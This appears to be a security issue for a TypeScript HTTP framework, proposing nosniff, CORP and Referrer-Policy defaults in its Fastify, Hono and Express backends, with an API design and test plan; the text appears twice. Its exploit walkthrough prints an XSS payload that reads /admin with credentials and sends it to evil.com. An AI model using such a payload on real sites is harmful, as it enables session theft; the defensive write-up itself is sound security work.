Severity / Size
- Severity: LOW
- Size: S
- Threat model: closed-group cluster; HTTP layer faces browser clients. Concerns apps that accept user-uploaded files or render user-controlled content from API endpoints.
Affected files
src/http/Route.ts:60-77 — complete() / completeJson() / completeText() / redirect() build response headers without security defaults.
src/http/backend/FastifyBackend.ts:165-186 — writeResponse writes the headers as-is.
src/http/backend/HonoBackend.ts:237-258 — same in Hono.
src/http/backend/ExpressBackend.ts:264-286 — same in Express.
Background
Every response goes through writeResponse (one per backend). It only writes:
content-type (either from res.contentType, from res.headers, or a marshaller-picked default).
- whatever the handler passed in
res.headers.
Notably absent from every response: X-Content-Type-Options: nosniff. Without it, browsers (especially older Edge / IE, but also modern Chromium under certain conditions) MIME-sniff the body and override the declared Content-Type if the body content "looks like" something else.
Concrete consequences:
- An endpoint returning
Content-Type: application/json with {"name": "<script>alert(1)</script>"} — sniffing kicks in if the response also lacks Content-Disposition: attachment, and the browser may render as HTML.
- Upload endpoints that echo the uploaded bytes back ("preview avatar") with their declared MIME — if the user uploads
evil.html declared as image/png and the server accepts it, the sniffer can identify it as HTML and execute scripts in the origin.
This is OWASP A05:2021 (Security Misconfiguration). The fix is trivial — add a single header — but it has to live in the right layer so it can't be silently dropped by user code.
Two other headers in the same "no-cost defence-in-depth" bucket:
Cross-Origin-Resource-Policy: same-origin — prevents cross-origin embedding of API responses.
Referrer-Policy: strict-origin-when-cross-origin — limits referrer leakage on outbound links.
Worth bundling into one fix.
Exploit walkthrough
Step 1 — App has user-upload endpoint:
post(async (req) => {
const file = entity<{ name: string; bytes: Uint8Array; mime: string }>(req);
await store.save(file.name, file.bytes, file.mime);
return completeJson(201, { url: `/files/${file.name}` });
});
get(async (req) => {
const file = await store.load(pathParam(req, 'name'));
return { status: 200, contentType: file.mime, body: file.bytes };
});
Step 2 — Attacker uploads evil.html (HTML payload with <script>fetch('/admin', {credentials: 'include'}).then(r => r.text()).then(t => fetch('https://evil.com/leak?d=' + btoa(t)))</script>), declares mime: 'image/png'.
Step 3 — Victim visits https://app.example.com/files/evil.html. Server responds with Content-Type: image/png, but the body is HTML.
Step 4 — Without nosniff: browser sniffs, decides it's HTML (HTML5 sniffing-compliant browsers do this when the MIME isn't strict), renders + executes. Script runs in the app's origin, can read cookies, hit /admin, exfiltrate.
With nosniff: browser refuses to render as HTML because Content-Type says image/png. Either shows broken-image icon or downloads as binary. Exploit dead.
Realistic worst case: stored-XSS-equivalent via uploaded files, scoped to the app's origin. Requires the app to also have an upload endpoint that echoes user content back without re-encoding — a common pattern.
How the 8 already-landed security fixes inform this
- Wire-frame DoS cap (frame-decoder, 16 MB default) — the pattern: safe default at the framework boundary, override is opt-in (
maxBytes config). Same shape: nosniff on by default, opt-out is opt-in.
- Hello-handshake hijack defence — added headers/validation at the connection-level layer, not the application layer. Same place to put nosniff: in
writeResponse of each backend, not in handlers.
- Idempotency body-fingerprint — applied uniformly across the HTTP cache layer, not per-route. Same uniform-application principle.
Defence-in-depth headers belong in the backend's writeResponse, not in the DSL helpers, because:
- User code can return
HttpResponse literals that bypass complete() / completeJson().
- The backend is the chokepoint every response passes through.
Fix design
Track 1 — Default security headers in each backend's writeResponse (primary). Add three headers if not already set:
X-Content-Type-Options: nosniff
Cross-Origin-Resource-Policy: same-origin
Referrer-Policy: strict-origin-when-cross-origin
Only set if not present in res.headers (preserves explicit user overrides).
const DEFAULT_SECURITY_HEADERS: Readonly<Record<string, string>> = {
'x-content-type-options': 'nosniff',
'cross-origin-resource-policy': 'same-origin',
'referrer-policy': 'strict-origin-when-cross-origin',
};
function applySecurityHeaders(target: { has(name: string): boolean; set(name: string, value: string): void }): void {
for (const [name, value] of Object.entries(DEFAULT_SECURITY_HEADERS)) {
if (!target.has(name)) target.set(name, value);
}
}
Fastify (writeResponse):
private writeResponse(reply: FastifyReply, res: HttpResponse): void {
reply.status(res.status);
if (res.headers) for (const [k, v] of Object.entries(res.headers)) reply.header(k, v);
if (res.contentType) reply.header('content-type', res.contentType);
// NEW — security defaults, only if not explicitly set:
applySecurityHeaders({
has: (n) => Boolean(reply.getHeader(n)),
set: (n, v) => reply.header(n, v),
});
// … rest unchanged
}
Hono (writeResponse): natural since it uses Headers directly.
Express (writeResponse): same shape via res.getHeader / res.setHeader.
Track 2 — Opt-out via constructor. Per-backend option disableSecurityHeaders: true or securityHeaders: Partial<Record<...>> to override individual ones. Default is on.
export interface FastifyBackendOptions {
readonly disableSecurityHeaders?: boolean;
readonly securityHeaders?: Readonly<Record<string, string | null>>; // null = omit
}
Track 3 — Documentation. README "Known security caveats" section gets a line: "nosniff + same-origin RP + Referrer-Policy applied by default; override per-backend if needed."
API surface
// FastifyBackend, HonoBackend, ExpressBackend constructors
new FastifyBackend({ disableSecurityHeaders: true }); // opt out entirely
new FastifyBackend({ securityHeaders: { 'referrer-policy': 'no-referrer' } }); // override one
new FastifyBackend({ securityHeaders: { 'cross-origin-resource-policy': null } }); // omit one
The DSL functions (complete*, redirect) are unchanged. The header is added at the backend layer.
Backward compatibility
Minor break: any app that depended on the absence of these headers (e.g. cross-origin embedding of API responses, browser referrer-tracking for analytics) will see different behaviour. The opt-out is one line.
Document in CHANGELOG under "Security defaults". Cross-origin embedding is the only realistic break — for that case, securityHeaders: { 'cross-origin-resource-policy': 'cross-origin' } restores the old behaviour.
Test plan
- Default test — issue a
complete(200, 'hello') and check the response headers include x-content-type-options: nosniff, cross-origin-resource-policy: same-origin, referrer-policy: strict-origin-when-cross-origin.
- Override test — user passes
complete(200, 'hello', { 'x-content-type-options': 'custom' }); check the user's value wins.
- Disable test —
new FastifyBackend({ disableSecurityHeaders: true }) produces a response without any of the three headers.
- Selective override test —
new HonoBackend({ securityHeaders: { 'referrer-policy': 'no-referrer' } }) overrides one header, keeps the other two.
- Selective omit test —
securityHeaders: { 'cross-origin-resource-policy': null } produces a response with nosniff and referrer-policy but no CORP.
- Cross-backend parity — same response goes through Fastify / Hono / Express, all produce the same three headers by default.
Acceptance criteria
Severity / Size
Affected files
src/http/Route.ts:60-77—complete()/completeJson()/completeText()/redirect()build response headers without security defaults.src/http/backend/FastifyBackend.ts:165-186—writeResponsewrites the headers as-is.src/http/backend/HonoBackend.ts:237-258— same in Hono.src/http/backend/ExpressBackend.ts:264-286— same in Express.Background
Every response goes through
writeResponse(one per backend). It only writes:content-type(either fromres.contentType, fromres.headers, or a marshaller-picked default).res.headers.Notably absent from every response:
X-Content-Type-Options: nosniff. Without it, browsers (especially older Edge / IE, but also modern Chromium under certain conditions) MIME-sniff the body and override the declaredContent-Typeif the body content "looks like" something else.Concrete consequences:
Content-Type: application/jsonwith{"name": "<script>alert(1)</script>"}— sniffing kicks in if the response also lacksContent-Disposition: attachment, and the browser may render as HTML.evil.htmldeclared asimage/pngand the server accepts it, the sniffer can identify it as HTML and execute scripts in the origin.This is OWASP A05:2021 (Security Misconfiguration). The fix is trivial — add a single header — but it has to live in the right layer so it can't be silently dropped by user code.
Two other headers in the same "no-cost defence-in-depth" bucket:
Cross-Origin-Resource-Policy: same-origin— prevents cross-origin embedding of API responses.Referrer-Policy: strict-origin-when-cross-origin— limits referrer leakage on outbound links.Worth bundling into one fix.
Exploit walkthrough
Step 1 — App has user-upload endpoint:
Step 2 — Attacker uploads
evil.html(HTML payload with<script>fetch('/admin', {credentials: 'include'}).then(r => r.text()).then(t => fetch('https://evil.com/leak?d=' + btoa(t)))</script>), declaresmime: 'image/png'.Step 3 — Victim visits
https://app.example.com/files/evil.html. Server responds withContent-Type: image/png, but the body is HTML.Step 4 — Without
nosniff: browser sniffs, decides it's HTML (HTML5 sniffing-compliant browsers do this when the MIME isn't strict), renders + executes. Script runs in the app's origin, can read cookies, hit/admin, exfiltrate.With
nosniff: browser refuses to render as HTML becauseContent-Typesaysimage/png. Either shows broken-image icon or downloads as binary. Exploit dead.Realistic worst case: stored-XSS-equivalent via uploaded files, scoped to the app's origin. Requires the app to also have an upload endpoint that echoes user content back without re-encoding — a common pattern.
How the 8 already-landed security fixes inform this
maxBytesconfig). Same shape: nosniff on by default, opt-out is opt-in.writeResponseof each backend, not in handlers.Defence-in-depth headers belong in the backend's
writeResponse, not in the DSL helpers, because:HttpResponseliterals that bypasscomplete()/completeJson().Fix design
Track 1 — Default security headers in each backend's
writeResponse(primary). Add three headers if not already set:X-Content-Type-Options: nosniffCross-Origin-Resource-Policy: same-originReferrer-Policy: strict-origin-when-cross-originOnly set if not present in
res.headers(preserves explicit user overrides).Fastify (
writeResponse):Hono (
writeResponse): natural since it usesHeadersdirectly.Express (
writeResponse): same shape viares.getHeader/res.setHeader.Track 2 — Opt-out via constructor. Per-backend option
disableSecurityHeaders: trueorsecurityHeaders: Partial<Record<...>>to override individual ones. Default is on.Track 3 — Documentation. README "Known security caveats" section gets a line: "nosniff + same-origin RP + Referrer-Policy applied by default; override per-backend if needed."
API surface
The DSL functions (
complete*,redirect) are unchanged. The header is added at the backend layer.Backward compatibility
Minor break: any app that depended on the absence of these headers (e.g. cross-origin embedding of API responses, browser referrer-tracking for analytics) will see different behaviour. The opt-out is one line.
Document in CHANGELOG under "Security defaults". Cross-origin embedding is the only realistic break — for that case,
securityHeaders: { 'cross-origin-resource-policy': 'cross-origin' }restores the old behaviour.Test plan
complete(200, 'hello')and check the response headers includex-content-type-options: nosniff,cross-origin-resource-policy: same-origin,referrer-policy: strict-origin-when-cross-origin.complete(200, 'hello', { 'x-content-type-options': 'custom' }); check the user's value wins.new FastifyBackend({ disableSecurityHeaders: true })produces a response without any of the three headers.new HonoBackend({ securityHeaders: { 'referrer-policy': 'no-referrer' } })overrides one header, keeps the other two.securityHeaders: { 'cross-origin-resource-policy': null }produces a response withnosniffandreferrer-policybut noCORP.Acceptance criteria
x-content-type-options: nosniffby default.res.headersoverride always wins.disableSecurityHeaders: trueopts out entirely.